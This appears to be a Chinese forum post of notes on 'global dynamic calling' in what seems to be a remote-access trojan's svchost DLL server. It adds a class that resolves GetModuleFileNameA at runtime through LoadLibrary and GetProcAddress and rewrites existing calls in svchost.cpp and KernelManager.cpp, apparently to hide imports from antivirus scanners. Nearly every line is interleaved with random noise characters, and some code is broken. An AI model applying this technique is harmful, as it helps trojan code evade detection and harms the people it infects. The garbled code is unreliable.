[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记7 ~2 S) U9 b) t
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：3 k2 _8 a0 m. Q0 B5 E. O
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#if _MSC_VER>1000
) p& U; N  @# u#pragma once
% g$ _# }5 p7 Z& j- l#endif //_MSC_VER>1000
5 A- M; E" Z1 b#include<windows.h>
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! W# Z7 g" J% ?: y9 F8 C. z  etypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);! b! I+ T, c3 s6 M$ M: _! e
class DTDY
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public:
; n. O3 V! r" j& cDTDY();+ \; m  t6 T4 K
virtual ~DTDY();  N$ E% ^- J) H
public:
# {. {, X( J9 u4 ^$ Tstatic pGetModuleFileNameA MyGetModuleFileName;
/ D+ a8 _/ b- }5 {static BOOL FunInitiallization();
( s3 r% Y2 J- C! \8 Q  q! x};
) O; u2 i$ e7 \* J6 r+ K' c#endif
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$ W8 W' D& C8 E+ hDTDY.cpp:
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#include "DTDY.h"
2 ]; X; P4 H6 `) ^9 p4 B. u* p( t8 OpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
5 c) e6 b, L8 x. v+ l9 |9 [$ ODTDY:TDY()
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}
7 _4 o; k3 k1 cDTDY::~DTDY(). I) c% h# q/ ~, g4 w4 s  c7 W
{
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BOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");5 {/ ?6 t7 y+ r* L
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
2 F! s  S" U+ u) C5 Eif(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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svchost.cpp:
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#include "DTDY.h") Z6 q! i  T# t
% V% C& B5 `1 A4 X3 D; J) c  {
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved). _. t& V6 R$ H2 I! R$ ~- `
{
, F" \2 f% X; z! v0 Q1 Iswitch(ul_reason_for_call)' Y6 [/ m7 m' a8 \- z6 l. C
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case DLL_PROCESS_ATTACH:
: T9 B& ?4 ?7 l. aif(!DTDY::FunInitiallization()) return FALSE;  K9 \% M" |* {" c
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break;
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
% y, w5 }6 m- B* {4 \改写为
+ d" W8 E! b$ x6 X, FDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));2 g% o1 ~$ B. {% w
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) t9 P7 B* `8 o4 P- ^+ m' jKernelManager.cpp:& q( g# A1 m! z/ H3 C6 W6 I
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#include "../DTDY.h"
: h7 [- {& ]4 }. g7 y6 `3 JGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
5 O5 w+ T- E" @% G( t" `  p改写为
+ L0 G& S' Y* a8 R  `) F+ xDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));6 \. }4 c- q" F5 \' u5 g; P( _
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